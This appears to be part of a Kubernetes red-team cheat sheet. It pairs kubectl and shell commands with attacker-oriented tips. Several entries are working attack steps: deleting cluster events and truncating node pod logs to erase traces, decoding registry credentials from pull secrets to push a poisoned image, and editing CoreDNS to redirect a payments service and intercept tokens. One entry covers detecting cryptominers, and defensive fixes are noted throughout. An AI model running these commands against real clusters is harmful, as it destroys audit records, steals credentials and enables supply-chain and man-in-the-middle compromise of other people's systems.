Gotcha: CronJobs are quieter than a static pod because they are a normal API object in a busy namespace, but they are also easy to find once someone looks: kubectl get cronjob -A lists them all. Clean up the Jobs and completed pods it spawns, not just the CronJob.
# API events are the audit trail most defenders actually read
kubectl get events -A --sort-by=.lastTimestamp | tail -20
kubectl delete events --all -n <namespace>
# container stdout lives on the node under /var/log/pods
truncate -s 0 /var/log/pods/<ns>_<pod>_*/**/*.log # from a node/host mount
crictl --runtime-endpoint unix:///run/containerd/containerd.sock logs <id> # what they can still readLook for: Events you can delete with the RBAC you already have, and pod logs sitting as plain files on the node once you have a host mount. Deleting them removes the cheap, local record of your actions.
Gotcha: This only clears the local copy. If the cluster ships API audit logs or container stdout to a SIEM, or a Falco sink off the node, the record is already gone and deleting the local files is itself a loud event. Check where logs actually land before assuming a wipe helps, and know that deleting events is exactly what a defender alerts on.
# find dockerconfigjson secrets, they hold real registry logins
kubectl get secrets -A --field-selector type=kubernetes.io/dockerconfigjson
kubectl get secret <s> -n <ns> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq .
# the decoded auth is base64 user:pass. try it, and try pushing
echo <auth> | base64 -d # -> username:password for the registryLook for: A kubernetes.io/dockerconfigjson secret. Its .dockerconfigjson decodes to a registry host plus a base64 user:password. Those creds often have push rights, not just pull, which turns a read of one secret into the ability to replace an image the cluster trusts.
Gotcha: Pull secrets are treated as low-value config and copied across namespaces freely, so one is usually easy to reach. If the registry allowlist trusts that registry and nothing verifies signatures, pushing a poisoned tag is a clean supply-chain foothold. Least privilege on the registry side, read-only pull tokens, is the fix teams forget.
# if you can edit the CoreDNS config, you own name resolution for the cluster
kubectl -n kube-system get cm coredns -o yaml
kubectl auth can-i update configmaps -n kube-system
# a rewrite or hosts block sends a service name to your pod instead
# hosts { 10.0.0.66 payments.prod.svc.cluster.local ; fallthrough }
kubectl -n kube-system rollout restart deploy/coredns # picks up the changeLook for: Update access to the coredns ConfigMap in kube-system, or any path to MITM pod traffic on a node. Repoint a service name at a pod you control and every client that resolves it hands you its requests, tokens and all, then you proxy on so nothing breaks.
Gotcha: Editing kube-system ConfigMaps is high privilege and high noise, so this is a late-stage move, not a first one. Without that access the fallback is L2 spoofing between pods on a node, which many CNIs (Cilium, Calico with encryption) block outright, so confirm the CNI before assuming it works.
# the tell is CPU, an odd image, and egress to a mining pool
kubectl top pods -A --sort-by=cpu | head -20
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | sort | uniq -c | sort -rn
# Falco ships a rule for the Stratum mining protocol
grep -ri stratum /etc/falco 2>/dev/nullLook for: A pod pinned near its CPU limit running an image nobody recognises, often in a rarely-watched namespace, talking out to a mining pool. As an attacker it is the noisiest thing you can do with a foothold; as a defender it is usually the first monetised sign of compromise.
Gotcha: Miners hide in namespaces without resource quotas, so a cluster with no LimitRange gives them room and no baseline to alarm on. Do not treat high CPU alone as proof, batch and ML jobs look identical, confirm the image and the egress before you act.
Nothing matches that filter. Clear the search, or tell me what to add.